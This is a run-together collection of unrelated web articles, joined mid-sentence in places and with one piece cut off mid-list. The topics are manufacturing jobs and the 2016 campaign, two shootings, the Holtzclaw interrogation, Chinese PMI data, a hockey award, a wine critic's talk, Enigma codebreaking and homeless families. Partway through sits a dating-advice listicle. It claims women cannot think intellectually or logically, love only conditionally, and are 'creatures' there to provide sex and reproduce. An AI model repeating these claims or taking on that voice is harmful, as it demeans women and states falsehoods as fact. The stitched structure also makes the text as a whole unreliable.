“It’s probably right that all these blue-collar, labor-intensive jobs just aren’t coming back. The labor costs are too high, and there’s too much automation now,” said Mike Lisle, Dane’s chief operating officer. “But we have openings for people [starting at $13 or $14 per hour] if they are willing to take some training and have the right kind of attitude and work ethic.”
This scenario is playing itself out all over the nation, which, contrary to popular political myth, has had something of a manufacturing renaissance over the past seven years, adding around a million new factory jobs since employment in the sector bottomed out at about 11.5 million in 2010. Employment in the sector peaked at 19.7 million in 1979 and now sits at 12.3 million, according to the Bureau of Labor Statistics.
And the trend is to bring factories back, not ship more production to China. According to Harry Moser, president of the Reshoring Initiative, the balance of jobs leaving and entering the U.S. has essentially evened out over the past two years, with most of the incoming jobs coming back from China, where employment costs are rising. “The outsourcing problem isn’t getting dramatically worse,” Moser said.
That’s not the picture being painted on both sides of the campaign trail, where Trump and Sanders have jointly obliterated the consensus that overseas trade deals are mostly good for American workers and the U.S. economy.
Trump has thundered away about bad trade deals and weak leadership ripping good jobs out of the U.S. and sending them to Mexico, China and elsewhere. He’s promised to bring them back by being tougher in negotiations and slapping punitive tariffs on imported products. At a Democratic debate in Michigan last month, Sanders said if he became president U.S. companies would “have to” move jobs home.
This approach is exactly the wrong one, according to Kurt Bauer of Wisconsin Manufacturers and Commerce. Companies he represents want to do more free trading with Europe and Asia, not less, and the last thing they need is a tariff-induced spike in the cost of unfinished supplies from abroad used in their domestic supply chains.
“If you are not engaged globally and not exporting you are going to find yourself contracting, if not perhaps putting your entire business at risk,” Bauer said.
It irks Bauer and other business leaders and economists when they hear politicians like Trump — who has manufactured many of his own products overseas — talking about forcing Apple to start making the iPhone in the U.S. or Sanders demanding that companies leaving the U.S. over its high corporate tax rate move back immediately and bring all the jobs with them. The Trump and Sanders campaigns did not respond to requests for comment for this story.
But there’s another enormous obstacle to restoring the blue-collar jobs of the past: automation. The cold economic fact is that even if Trump or Sanders could somehow get Apple or Nike or any other big company to start making more stuff in the U.S., it would be done mostly by machines, not people.
“One of the features of this campaign with respect to manufacturing is that we have heard a lot about the effect of trade but none about the effect of automation, and automation is a very big deal when you think of the evolution of the labor market over the last 35 years,” said Michael Strain, deputy director of economic policy studies at the conservative American Enterprise Institute. “The rhetoric from Trump and Sanders is so wildly over the top with respect to what can actually be done to effect the composition of the workforce through trade. They just won’t be able to do what they say they will be able to do.”
One big problem is that the more complex and less emotionally satisfying message — that highly paid, low-skilled factory jobs are gone but there are other things government can do to help workers — simply hasn’t broken through in the populist fervor of 2016.
Trump soared with his message of blaming China, Mexican immigrants and stupid trade negotiators for persistent problems with the U.S. economy. He’s even made up problems with the economy that do not exist.
In Wisconsin, he’s talked about a jobless rate of 20 percent (it’s actually 4.6 percent). In an interview with The Washington Post over the weekend, Trump predicted a “very massive recession,” though no economic data suggest such a cataclysmic event is coming.
Officials in rival campaigns have expressed exasperation throughout 2016 that a crowded field and the emotional nature of Trump’s appeals made it impossible to break through with fact-based arguments on trade and manufacturing. That may be changing with the field now dramatically reduced.
“Early on, Trump was able to mask his totally misinformed policies with so many candidates in the field,” said Danny Diaz, who served as campaign manager for former Florida Gov. Jeb Bush. “His rhetoric is now being scrutinized to a greater degree.”
That could be playing out here in Wisconsin, where, heading into Tuesday’s primary, most polls showed Trump trailing Ted Cruz, perhaps a reflection of the fact that the GOP front-runner’s rhetoric about the state’s economy does not match the facts on the ground.
On the Democratic side, Sanders staged a surprise win in Michigan largely by ripping front-runner Hillary Clinton for her past support of trade deals and for only recently saying she would oppose a Trans-Pacific Partnership she once heralded as the “gold standard.” Sanders has effectively pushed Clinton out of her traditional support for free trade deals like those negotiated during her husband’s presidency.
But for business executives and many economists, Sanders, just like Trump, is spinning a fantasy about punishing big employers into bringing back high-paid, low-skill manufacturing jobs. Tariffs won’t do it, and junking trade deals won’t either, many experts say.
“We’re not going to ‘restore’ most of those labor-intensive jobs in textiles, leathers, toys, rubber products and commodity furniture that were lost in the ’90s and 2000s,” said David Autor, an economics professor at MIT. “We’re not going to turn back the clock — and certainly slapping on huge tariffs would accomplish nothing constructive.”
Neither will the kind of universal free college education Sanders is talking about. Many of the new jobs in manufacturing and in the much larger services industry require specialized training, not a four-year degree.
“And when it comes to corporations wanting to leave,” said Moser. “Get rid of all the special stuff and deductions and get the [corporate tax] rate down to 20 percent or 22 percent rather than 35 percent, and you make that decision to stay a lot easier.”
The bottom line on the low-skill factory work fantasy from Sanders and Trump, according to Troy Berg, CEO of Dane Manufacturing, is that it’s never going to happen.
“Those jobs are gone, and they aren’t coming back,” said Berg, who supported Marco Rubio and now hopes for a brokered convention. “The jobs that are replacing them are the Dane Manufacturing jobs, knowledge workers with some skills and some on-the-job training. So my hope is we can stop Trump right here in Wisconsin.”Sheriff Mike Ezell says 68-year-old Derek Smith told Jackson County deputies he only meant to scare Tyrel Obiol when he fired the "38 special" near Obiol's head.
A Moss Point man is in jail after allegedly shooting his nephew in the head Sunday evening because of a fight over a pit bull.
Sheriff Mike Ezell says 68-year-old Derek Smith told Jackson County deputies he only meant to scare Tyrel Obiol when he fired the "38 special" near Obiol's head. Smith says Obiol and another nephew were fighting over the dog, after the dog bit Obiol.
Obiol left Smith's home on Old Mobile Highway and returned with a hunting knife, threatening to stab his cousin. That's when Smith says he go the gun to break up the argument.
Obiol was taken to the hospital by his cousin and later transported to USA Medical Center. His current condition is unknown. Smith is charged with aggravated assault.A shooting in Chicago has left a 2-year-old boy and an adult man dead Tuesday and startling footage of the assault, which also left a pregnant woman wounded, was posted live to Facebook.
The footage begins with what looks like a happy family outing as the woman records a Facebook Live video of her and her boyfriend singing along to the stereo with little Lavontay White Jr. sitting in the back seat.
Watch: Graphic Dash Cam Video Released of Chicago Cop Shooting Black Teen 16 Times
Suddenly, several shots can be heard.
Lavontay and the man were shot hit in the head, Chicago Police Department Superintendent Eddie Johnson told the Chicago Tribune. While the boy was revived at the scene, he and the man were later pronounced dead at a hospital.
In the footage, the screaming woman appears to leave the car and flee into a nearby home, where the video portion of the feed ends but the audio continues.
The woman screams for help, both for herself and for her unborn baby, neighbors recalled.
"Call 911! They killed him... I have a bullet in my stomach," the woman screams.
Help would arrive in time for the woman. According to reports, she and the 4-months-along baby remain hospitalized in fair condition and are both expected to survive.
Watch: Donald Trump's New Year's Tweets Attack Chicago Mayor, Obamacare, Media
A memorial for Lavontay has been created on GoFundMe, where the boy's aunt, Wakhonda Tyus, wrote:
"I am the aunt of The latest Most Precious Innocent Undeserving Future I Have a Dream writer, Entrepreneur, Inventor, Activist, Leader, guaranteed succeeder, paw patrol loving just started walking, talking victim of Chicago's violence, slain 2yr old, Lavontay White Jr. Who Died February 14th 2017, 2 weeks after his second birthday.
"Help spread the word."
You can contribute to the fund to help pay for the little boy's burial here.
Watch: 6-Year-Old Girl Dies of Cancer Days After Becoming Honorary Police Officer
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OKLAHOMA CITY - Long before he broke down in court, former Oklahoma City police officer Daniel Holtzclaw found himself in a small, dim interrogation room, facing two sex crimes detectives.
In December, Holtzclaw was convicted on 18 of 36 counts involving sex crimes.
He's now serving a 263 year prison sentence.
NewsChannel 4 obtained the videotaped interrogation played in open court during Holtzclaw's trial.
The police interrogation was conducted by detectives Kim Davis and and Rocky Gregory in the sex crimes interrogation room at the Oklahoma City Police Department.
Holztclaw was pulled into the interview at the start of his shift on June 18, 2014 - the day Holtzclaw's three-year unstained career came to a scandalous end.
Holztclaw did not know what the meeting was regarding though, only that it involved a traffic stop from the night before and allegations by 57-year-old Jannie Ligons.
"You have the right to remain silent," Davis said. "Do you understand that?"
Davis read Holtzclaw his Miranda Rights, as he agreed to talk without an attorney.
For the next two hours, detectives would probe Holtzclaw for information about the allegation that had just come in hours before.
"Someone has made an allegation about a stop. They don't know the officer's name. You said you made a stop after work you didn't call in. Where was that stop?" Davis asked. "Tell me about that stop."
And, it begins.
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The victim was the first of what would become 13 accusers - women who said they were sexually assaulted by Holtzclaw on duty during traffic stops in Oklahoma City.
The 15-minute off-the-grid traffic stop in question would destroy Ligon's life, obliterate Holtzclaw's career and leave an international black eye on his department.
Ligons had accused Holtzclaw of forcing her to perform oral sex in the back of his police unit.
Twenty minutes into the interrogation, the true nature of this complaint comes into focus:
Davis: Do you recall putting your penis in her mouth? Holtzclaw: I don't. Davis: Would you remember if you did it? Holtzclaw: If I did it, yes.
For Holtzclaw though, the previous night was uneventful.
He claims, in the video, his only sexual encounter was with his girlfriend when he got home.
"We almost had sex," Holtzclaw said. "She was tired."
Detectives stepped out to call Holtzclaw's then-girlfriend, trying to corroborate his story.
But, that call would truly turn the mood of the interrogation.
"I just talked to [her]," Davis said. "She said she was asleep when you got home, and you did not try to have sex."
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Holtzclaw then agreed to a DNA sample and turned over his uniform.
"I want DNA. I want everything," Holtzclaw said. "I've never been accused of anything like this."
Through it all, his resolve never waivers.
Holtzclaw even agrees to take a polygraph, a clip that was not shown to the jury.
At two hours into the video, Holtzclaw strips to his boxers, his clothes whisked away as evidence.
He would never patrol the streets of Oklahoma City again.
Holtzclaw's defense team has filed for an appeal in the case.
WARNING: Some of the content in these videos is graphic and not appropriate for all audiences.
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Please enable Javascript to watch this videoIt’s no secret that the audio quality of the iPhone’s built-in speakers isn’t exactly what you would consider to be hi-fi. Sound quality aside, there are plenty of times where even the volume doesn’t do the music justice. While you can always go out and buy a fancy dock to amplify your iGadget’s sound, artist [Christopher Locke] has a different take on the subject.
For a while now, he has been constructing what he calls “Analog Tele-Phonographers”, metal sculptures that can be used to amplify a mobile phone’s audio. Built out of steel and old trumpets, his audio sculptures require no electricity, instead utilizing the same amplification technology as the original phonographs.
While the Tele-Phonographers won’t make your iPhone sound like a high quality tube amp, they do undoubtedly increase the phone’s volume and they are nice to look at. We can certainly get behind this sort of recycling/reuse of old items.
Continue reading to see a quick video of his Analog Tele-Phonographer in action.
[Thanks, Chris]BEIJING (Reuters) - China’s services sector regained some momentum in February but its manufacturing sector struggled, separate surveys showed on Monday, with the divergence adding to the difficulty in assessing the strength of the economy at the start of 2014.
Sales people negotiate with customers at booths selling mobile phones at a shopping mall in Beijing September 3, 2013. REUTERS/Kim Kyung-Hoon
Data for the world’s second-largest economy has been mixed, and the Lunar New Year holidays have made it harder to assess momentum. Weak investment and declining manufacturing PMI readings have been countered by surprisingly buoyant exports and bank lending.
The official non-manufacturing Purchasing Managers’ Index (PMI) rose to a three-month high of 55.0 in February, while the final Markit/HSBC manufacturing Purchasing Managers’ Index fell to 48.5, its third straight decline.
That followed an official manufacturing PMI on Saturday which fell to an eight-month low of 50.2, just above the 50 level that separates contraction from expansion.
“It’s a domestic investment-led slowdown. You see exports strong, so external demand is fine,” said Wei Yao, China economist at Societe Generale in Hong Kong.
“If the services PMI is to be believed, the service sector is not doing so bad, but... the manufacturing, or the investment-heavy sector, not as well.”
In recent weeks, investors have been concerned the Chinese and U.S. factory sectors are dragging on global activity, even as European manufacturers enjoyed a solid start to the year.
A services PMI by Markit Economics and HSBC will be released on Wednesday. The Markit/HSBC PMIs cover more smaller, private firms than the official PMIs, which include more large and state-owned firms.
SEASONAL IMPACTS
Although both sets of PMIs are seasonally adjusted, the variable timing of the lengthy Chinese New year holidays makes it hard to smooth out all distortions. While manufacturers close for the holidays, the services industry moves into high gear.
Rather than its normal data reports, the statistics bureau will release combined January-February figures for factory output, fixed-asset investment and retail sales later this month.
As a long-term goal, the government has been trying to reduce the economy’s dependence on exports and enhance the role of domestic consumption, but it is unclear how much growth it might be willing to sacrifice to reach that goal.
“We are seeing a higher share of services in GDP, and we cite that sometimes as one of the signs of rebalancing in the economy,” said Stephen Schwartz, Chief Economist for Asia at BBVA in Hong Kong.
“If that’s part of a longer-term trend, that’s somewhat encouraging.”
Services contributed 45 percent of gross domestic output in 2012, having overtaken manufacturing as China’s biggest employer in 2011. It has weathered the global slowdown much better than the factory sector.
In 2013 China’s economy grew 7.7 percent, steady from the previous year, just ahead of the official target of 7.5 percent, which would have been the slowest growth since 1999.
Some analysts have said weak PMI numbers would encourage the government to loosen monetary policy to keep the economy growing at 7.5 percent, which government economists have said could again be the official target again this year.Tuesday December 2, 2014
Toronto, ON – The Canadian Hockey League today announced that Pittsburgh Penguins prospect Tristan Jarry of the Edmonton Oil Kings is the Vaughn CHL Goaltender of the Week for the week ending November 30 after posting a 1-0-1-0 record including a shutout victory with a goals-against-average of 1.47 and save percentage of.966.
Jarry earned back-to-back first star honours for the Oil Kings last week stopping 84 shots in two games played. On Friday night he picked up his second shutout of the season stopping all 35 shots faced as first star of a 3-0 victory over the Vancouver Giants, then made a career-high 49 saves on Saturday as first star of a 3-2 overtime loss to the Medicine Hat Tigers.
Jarry, a 19-year-old from Delta, BC, is playing in his fourth WHL season with the Oil Kings. Selected by the Penguins in the second round of the 2013 NHL Draft, Jarry currently holds a 10-8-2-2 record with a goals-against-average of 2.42 and save percentage of.920.
Also considered for the award this week was Taylor Dupuis of the Sarnia Sting with a 3-0-0-0 record posting a goals-against-average of 1.67 and save percentage of.950, while Joe Fleschler of the Drummondville Voltigeurs went 2-1-0-0 with a goals-against-average of 1.68 and save percentage of.939.
2014-15 Vaughn CHL Goaltenders of the Week:
Nov. 24 – Nov. 30: Tristan Jarry (Edmonton Oil Kings)
Nov. 17 – Nov. 23: Jake Smith (North Bay Battalion)
Nov. 10 – Nov. 16: Lucas Peressini (Kingston Frontenacs)
Nov. 3 – Nov. 9: Brent Moran (Niagara IceDogs)
Oct. 27 – Nov. 2: Landon Bow ( |
, and I look at what the wine is going to be. You need some power, some richness, some intensity. Otherwise, the wine will fall apart because there’s nothing there. And I am looking for wines that will be better in five to ten years than they are today. Some of the thin, feminine, elegant wines being praised today will fall apart. You can’t expect soft, shallow wine to get any better. You need some intensity.”
As an example of what he was talking about, Parker referred to recently drinking [at Press Restaurant two nights previously] “a last bottle of 1969 Chappellet. Philip Togni, the winemaker, said it was the greatest wine he ever made. Jay Miller found it on auction and bought four cases at $35 a bottle. The wine is brilliant, powerful and rich, with lots of nuances. It could go another 45 years.”
“I remember talking to Gerard Chave about the ’03. There was no acidity in it. The pH was over 4. He explained that it was just like his father said the ’29 was, that it had so much fruit and dry extract it would survive on that. “
‘Natural’ and Low Alcohol Wine
San Francisco Chronicle Wine Editor Jon Bonné asked a lengthy question involving Parker’s recent screed against “natural” and low alcohol wines, those who produce them and writers who champion them, that appeared on Parker’s website in January. Among other things, Parker referred there to an “anti-California, anti-New World movement by Eurocentric, self-proclaimed purists.” Concluding his question, Jon asked, “Under the philosophy of live and live, why not allow more diversity?”
Parker said he agreed with what Jon said, “even though the passage you read is a call to arms. I think it’s a mistake to have a formula to pick grapes at lower brix just so you can have low alcohol and then slam the word ‘elegant’ on it. You just have a wine with low alcohol.”
Parker referred to Steve Kistler’s new project, Occidental, “where he is able to get exceptional flavor concentration in his Pinot Noirs at 12.5 and 13%, due to the microclimate and viticulture.”
“I’ve never used alcohol as a criteria. It’s just not that important to me. Most of the labels lie anyway.”
“I am going to flunk a wine if it doesn’t have the requisite concentration of flavor. If you’re just picking under ripe fruit.”
“I had this argument with Adam Tolmach at Ojai. I used to visit there every year. One year he brought out a Chard that had no flavor and was too high in acidity. He said he was going to do this in the future. I just don’t think people making those wines should trash those that are big and alcoholic.”
“I wrote that column to encourage conversation on this subject. I think there are terroirs in California where you can get the concentration and flavor. If it isn’t ripe, you don’t get expression of grapes or the terroir or the vintage.”
“Excessive manipulation includes picking too soon, or too late. Or following a rigid non-intervention philosophy.”
“When I first started, there was too much fining and microfilters going on. I don’t know any quality producers that use megapurple and enzymes. If they do it, they’re doing it really well.”
“And I never talk about having a vineyard with my brother-in-law [Beaux Freres in Oregon’s Willamette Valley]. That vineyard in most vintages has sulfur levels that are sometimes so low we could have put no sulfur on the label. It is biodynamically farmed, which I am not in full agreement with, and I don’t allow him to put it on the label. We don’t fine or filter, and I think the wine is fairly delicate. Only two or three vintages have had alcohol over 15%. But I think the very best was the 1994, which came in at 15.5%.
“I would like to see more civility. If I had one hope, it’s that we stick together a little better than we’re doing and move forward together as wine lovers. And if you’ve got something that you really disagree with me on, or have a question, pick up the phone and call me. I’m not going to bite anyone.”
The (410) area code telephone number for TWA’s office was then given out.
Parker concluded by saying he would like to come back, and to do a tasting with us.
Brief Reaction
Again, I applaud Parker for coming to face a room full of fellow wine writers, including many of us who had written attacks on various things he has said or written in the past.
I am sure Parker meant well with his comment that he hoped “the wine writing profession” doesn’t “wither away” on his retirement, but it hit me as one of the single most arrogant statements I have ever heard him say. I think it’s safe to say that wine writing is more varied, robust and informed than it has ever been. It is in no danger of “withering away” when Parker hangs up his quill.
Parker’s suggestions as to current opportunities for writers struck me as surprisingly narrow and uninspired. Wine education videos for Asia? There are already people doing that, including people who actually speak Asian languages who are quite expert in wine. I have met some of China’s own wine experts and journalists on press trips and they are very knowledgeable and possess impressive credentials. And TWA is obviously now focused on providing wine education to Asia. I hardly see that as a growth area for the average Western wine writer.
Parker’s assertion that “truth is on my side” and “history will prove me right” sounded disturbingly Nixonian, or Dick Cheney-esque, to me. In my view, such arrogant and empty assertions are hardly valid, useful or reasoned arguments in support of his position.
As to Parker’s continued diatribe against orange, “natural” and low alcohol wines, I could go on at length, and some of my esteemed wine writer colleagues already have (e.g., Alder Yarrow and Eric Asimov). In sum, though, for Parker to follow his broad over generalizations and unfair blasts at producers and writers with a call for greater collegiality on the part of wine writers struck me as more than a little disingenuous. If that’s what Parker wants to see on the part of the wine writing community, I think he needs to learn to practice a little more thoughtful moderation of his own comments.
Like this: Like Loading...One thing that many men struggle with, as did I for some time, is looking for women to fulfill certain needs that they will never be able to fulfill. When we as men get disappointed in women for not being what we desire, then this can lead to depression, frustration and unrealistic expectations.
I was looking back on my past relationships the other day and it occurred to me that any time I was disappointed in the girl, it was usually because I was trying to get her to fulfill a need in me that she simply couldn’t. It wasn’t because the girls were stupid, it was because it wasn’t and isn’t in their nature to fulfill those needs.
Here is a list of 5 things that men should never look for in women. By NOT looking for these traits and expecting these attributes in women, you will be happier, more satisfied in your relationships because you won’t have false expectations and you will be a better, more well-rounded man.
5. Never Expect Deep Intellectual Conversations With Women
This is a BIG one for me. I enjoy in-depth debate and intellectual stimulation through discussion of a variety of topics including politics, finances and business, just to name a few. In the past, I would try to have these types of discussions with women, including my girlfriends, and let me tell you, what a waste of time.
99.9% of women simply aren’t thinking on that wave length, have no desire to discuss such topics and to be frank, aren’t versed well enough to provide intellectual stimulation.
You know who is good to discuss deep topics with? Your male friends. (and if you can’t with them, maybe it’s time to extend your network)
Some of my fondest memories have been made here, at the Beverly Hills Grand Havana Room, a private members only cigar club, where men can be men, have great conversations and have that need fulfilled.
and the waitresses aren’t too shabby either…
If you’re like me and crave these type of conversations, find time to meet with your guy friends, have a cigar and talk. It’s an enriching experience and you’ll be better off knowing that women will not fulfill this need, so it’ll save you hassle, disappointment and false expectations by knowing this.
4. Never Expect Women To Love You Unconditionally Like Your Mother
Another big one, that I struggled with for sometime, was expecting a girl to love me in the manner that my mother does.
Foolish mistake.
Women love CONDITIONALLY, while a good mother will love UN-conditionally.
Note the major difference between the two. It will save you frustration more than you can imagine, if you realize that a girl you’re in a relationship with, may indeed love you, but make no mistake, it’s conditional.
Part of becoming a man is seeing the world and people for who they ARE, and not living with rose-colored glasses over your eyes. With women, understand that they’re for the most part, incapable of loving unconditionally. Don’t get upset about this fact: it is what it is. Once you know the game, then you can play.
There are good women out there who will love you the best they know how. I’ve had girls really love me/are ‘in love’ with me and for all intents and purposes they do, however, have you ever wondered how a girl can say “I just don’t love you anymore”? Shocking right? Because their ‘love’ for you is based off of feelings and NOT reality. If their feelings sway in a different direction so goes their love.
Know the difference and you’ll save yourself unneeded heartache.
3. Never Expect Women To Solve Your Problems
This is tricky. There have been women at certain points in my life (when I was fucked financially and homeless) who did lend a helping hand (in minor ways) and kept me from complete ruin, however, overall, I have never benefited from seeking a woman’s help in solving my problems.
Don’t RELY on a woman to make your career, keep you afloat or be your inspiration for success. Rely on YOURSELF and you’ll be a better man for it.
While I completely understand shit can hit the fan and sometimes a women can help you, it’s best to build self-reliance so that you can stand tall and proud as a man who handles his business. If you constantly rely on women to bail you out and take the reins, you will castrate your self-respect and eventually she will lose respect for you too. Guaranteed.
Lastly, you may think a woman is solving your problems, but she might just turn INTO the problem. Like Jay says…
2. Never Expect Women To ‘Complete You’
Get the concept of soulmates out of your head. It’s bullshit.
Gulp. Hard to swallow, right?
You know who’s your soulmate? Any girl that checks off the desirable traits on your ‘list’ and who is moldable as a woman. Fact.
One reason many men mope through life depressed is because they haven’t found ‘the one’. Yea no shit, because she does not exist.
It’s not about finding ‘the one’, it’s about you finding happiness, fulfillment and a purpose on your OWN. Once you can find peace and happiness on your own, then you will be able to have healthy, satisfying relationships with women because you won’t have unrealistic expectations of her to ‘complete you’.
Do you know why it’s so dangerous to go through life expecting a woman to ‘complete you’? You find a girl who you THINK completes you and you’re ‘happy’ for a while, then it turns into your biggest nightmare and depression hits you like a ton of bricks, because as the woman goes, so goes your ‘happiness’.
Read closely: If you get your overall happiness from a woman, you’re allowing your happiness to be dictated by someone else. Does that sound like what a man does? To give his Happiness Power away to a creature who is emotional? It’s foolish to the 9th degree.
How do I know this? Because I’ve experienced it.
I used to be TERRIBLE about building my life around whoever I was dating. Terrible mistake. Have your own identity, find happiness on your own and don’t expect that a woman should ‘complete you’. Complete yourself, THEN look to build healthy relationships. Thank me later.
1. Never Expect Women To Behave Logically
Many men experience extreme frustration because they expect women to behave logically and rationally.
Wrong.
Women do not behave logically or rationally. Despite what society may say today, women and men are very different. How we are wired compared to them etc. I won’t get into it, but you know what I’m talking about.
Why do you think Game works so well on women? Because it allows men to turn off the logic switch in our brains and see how to communicate with women to get them to do what we want. Isn’t it interesting how much of Game techniques go against what you would EXPECT to work?
“But but but I sent her a long text message telling her I like her and inviting her to dinner! Why hasn’t she responded. I was clear that I LIKE her…” (scratches head)
Because women don’t think like we do and once you establish that within yourself you will see your success with women skyrocket. Get out of your head. Turn of the logic switch. Realize that women will always do things that will stump you, but that Game evens the playing field. It gives you the tools to be successful with women.
Stop expecting women to behave logically and rationally and save yourself some major headaches. Instead see women for what they are: creatures to accompany you on this journey called life, enhance your already great life, provide sexual pleasure and reproduce your seed.
Finally, none of these points I’ve made make women bad people. It’s okay that they don’t fulfill those needs. I love women and while I enjoy deep intellectual conversations with friends, I sure as hell don’t want to see you cats in heels and makeup. Women have their place and the key is knowing what that is and enjoying them for exactly who and what they are and nothing else.
Sick and tired of not getting sex with beautiful girls? Learn my SECRETS here.
Read More: The Importance Of Building Your Own ‘Rat Pack’At first glance, the Enigma machine looks like a clunky manual typewriter. But in fact, before and during World War II, it was one of Nazi Germany's most powerful weapons.
Back then, messages transmitted by radio and were easily intercepted by the enemy. But thanks to the Enigma machine's encryptions, the gibberish gathered by the Allies was completely unreadable. The machine was used to encrypt all German military communications and the Allies and even the Germans themselves thought the Enigma's secret code was unbreakable.
Pre-war Enigma machine at Bonn's Arithmeum maths museum
English mathematician Alan Turing and his team at Bletchley Park famously cracked the code during World War II. His story is now the focus of the Oscar-nominated film, The Imitation Game. But he was not the first to figure out the Enigma's secrets.
Even though Germany had been defeated in WWI, Poland was still driven by fear of its dominant neighbor and the rise of Adolf Hitler. So in the 1930s Polish intelligence secretly intercepted and deciphered German military messages.
Espionage and mathematics
Marian Rejewski's team broke pre-war codes with maths and luck
How the Poles cracked pre-war Enigma codes is a tale of espionage and mathematical insight – mixed with a bit of luck. A destitute Berlin war ministry employee named Hans-Thilo Schmidt sold top secret Enigma documents to a French spy, who passed them on to the Poles.
The information was precisely what Polish mathematician Marian Rejewski and his colleagues needed to break Enigma. Schmidt's blueprints of the encryption mechanisms enabled the Poles to build a replica of Enigma, just like the pre-war military model on display at the Arithmeum museum of mathematics in Bonn, Germany.
Messages were easy to intercept...
but difficult to decipher, except for the recipient who had the secret code...
The machine has 26 alphabet keys and when one of the typewriter-like keys is pressed, the encrypted letter lights up on a lampboard above the keyboard.
Beneath the keyboard is a plugboard with 26 connections for cables that swap letters, so that, for example, A becomes B and vice versa (see graphic). Until the late 1930s, the German Wehrmacht had used six cables with 12 plugs to switch letters, leaving 14 letters unchanged.
The rotors were far more complex than the plugboard
Far more challenging for potential codebreakers than the plugboard, was the scrambler above the lampboard. It has slots for three interchangeable rotors or rotating wheels with 26 positions from A to Z.
“Once you have encoded a letter, the first wheel would rotate one position and thereby change its permutation, and after 26 rotations, the middle wheel would also rotate 26 times,” explained Bonn mathematician Stephan Held of the Research Institute for Discrete Mathematics.
“The permutation would change after every single letter and that made it difficult to decipher the Enigma machine.”
The number of letter combinations, or permutations, for three rotors - each with 26 positions from A to Z - created 17,576 starting positions (see graphic). But because each of the three rotors was wired differently and was interchangeable, there were 6 possible ways to insert them in the three slots. This resulted in 105,456 permutations - a large, but manageable number for Rejewski and his Polish mathematicians.
Searching for mathematical fingerprints
from 105,456 permutations to 1,054,560 overnight...
“This is the amount of set-ups that the Poles simulated in order to break the machine. They just catalogued every single one of these combinations,” Arithmeum's Enigma expert Mario Wolfram told DW.
Rejewski discovered that each of these 105,456 permutations generated a unique mathematical pattern, like DNA or fingerprints used by a detective to track down a suspect. He then tried to match a three-letter starting position for intercepted messages with patterns of known permutations in his catalog. If Rejewski found a match, he could decrypt the message.
But if a message was too short and a pattern was hard to discern, educated guesswork narrowed the possibilities.
"Human beings often choose simple keys like AAA, BBB or three consecutive letters on the keyboard. He would try these best guesses until he found a match," said Held.
Germans upgrade Enigma before WWII
But in late 1938, the Poles ran out of luck. Overnight the Germans added two more rotors to Enigma, so any possible combination of five rotors could be inserted into three slots (see graphic).
“This made it a lot harder for the Polish cryptographers. You get 60 possible ways of inserting the rotors in the machine, whereas before you only had six, so the work they had to do to decrypt messages was increased tenfold,” said Wolfram.
This increase meant more than one million starting positions for the five rotors. The number of cables for the plugboard was also increased from six to ten. The Poles didn't have the resources anymore to cope with the changes.
Besides, by that time the Polish mathematicians now had to flee their country. But they first handed over everything they knew about Enigma to French and British intelligence.
The Nazis invaded Poland on September 1, 1939. France was under occupation by 1940. So it was left to Alan Turing's team at Bletchley Park, north of London, to defeat the Enigma machine. And from there, thanks to history and now Hollywood, we know how the story ends.Reed Saxon / AP Volunteer Jessica Valencia, right, serves meals at the Union Rescue Mission in Los Angeles' Skid Row on May 16, 2011
At a homeless shelter on Skid Row in Los Angeles, there's a man who once made a six-figure salary as a successful producer of Hollywood films and sitcoms. He produced a movie that grossed tens of millions at the box office, was represented by one of the largest television agencies and used to be friends with well-known actors. But then he had trouble getting work, and after a while was unable to pay rent. His family moved in with a friend, but then that house went into foreclosure. So four months ago, with nowhere else to turn, he arrived at the shelter with his wife and two boys. "I did everything I could not to end up in the stereotype of a shelter," says the producer, who asks not to be identified because he fears jeopardizing his chance of landing work. "I want out of here so bad I don't even want to engage in the culture. I don't want to be comfortable because I'm not."
The man and his family are doing everything they can to maintain a sense of pride, and they are trying desperately to hold onto their former lives. Their 8-year-old son spends four hours on a public bus everyday so he can keep attending school in his former neighborhood. His mother proudly exhibits his honor-roll certificates and gives examples of how smart he is. When the father does get hired for lesser work on films, he'll ask people to pick him up at a nearby loft residence so he doesn't have to disclose he's homeless. For months, his wife avoided contact with a shelter worker she had met years ago because she didn't want the staff member to know she was homeless. "You're used to having, and you downsize and you downsize. What do you do when you have nothing left?" says the wife, who used to work as a nurse's assistant. "The hardest part is, How do you maintain your daily life and keep things intact for the kids and your own sanity, and at the same time move forward?" (See TIME's video on why Housing First saves homeless lives and public money.)
Homelessness is not a new phenomenon in California. What is new and so alarming is that more and more of the homeless are families that once believed they were secure members of the middle class. The number of families hosted by this Los Angeles shelter, called the Union Rescue Mission, has tripled since the economic crisis began in 2008 and has hit a record high of more than 60 in recent weeks. The growing trend is a sign that the nationwide economic slump is having a brutal impact on poverty in states that have high unemployment rates like California, and that a feared second recession could push the poor there over the edge and make a solid recovery even harder.
More than two years into the economic recovery, there isn't yet a light at the end of the tunnel for California's economy and stubborn unemployment. The number of job losses in the state is still much higher than the worst moments of the 2001 and 1990 recessions, according to calculations by Sylvia Allegretto, an economist at the Institute for Research on Labor and Employment at the University of California, Berkeley. The state's jobless rate hit 12% last month, the second worst in the nation. A broader measure of unemployment which also includes part-time workers and people outside the labor force who have been looking for a job is 22% in California and 24% in Los Angeles, while the national average is only 16.5%, according to the Bureau of Labor Statistics. The impact on children has been brutal: since 2007, 7% of the state's children have had a foreclosure process started on their homes, the fourth-highest level in the nation, according to a study released this month by the Annie E. Casey Foundation. And families can rely less on welfare because state and federal budget crises have cut social services.
Allegretto calls it "stunning" that despite the dismal outlook for the poor, leaders in Washington and Sacramento have invested more time debating the debt ceiling and the budget deficit, respectively, than trying to help the unemployed get back to work. "All these things are only going to get worse because there's nothing in the short-term plan that alleviates these problems," Allegretto says. "It's really devastating." (See a video on New Orleans' homeless.)
The word devastating is an understatement on Skid Row. Walk out the front door of the Union Rescue Mission, and it becomes evident why families make this an absolute last resort. The shelter sits in an area lined with people subsisting in tents, living out of shopping carts or suitcases, or just plain sleeping on concrete. Some of them smoke crack, some are in wheelchairs, some are mentally ill, and others are just trying to survive without a job or a home. It smells terrible since some people relieve themselves on the street for lack of a better place. For safety reasons, shelter workers advise visitors not to walk alone on the streets, even in broad daylight.
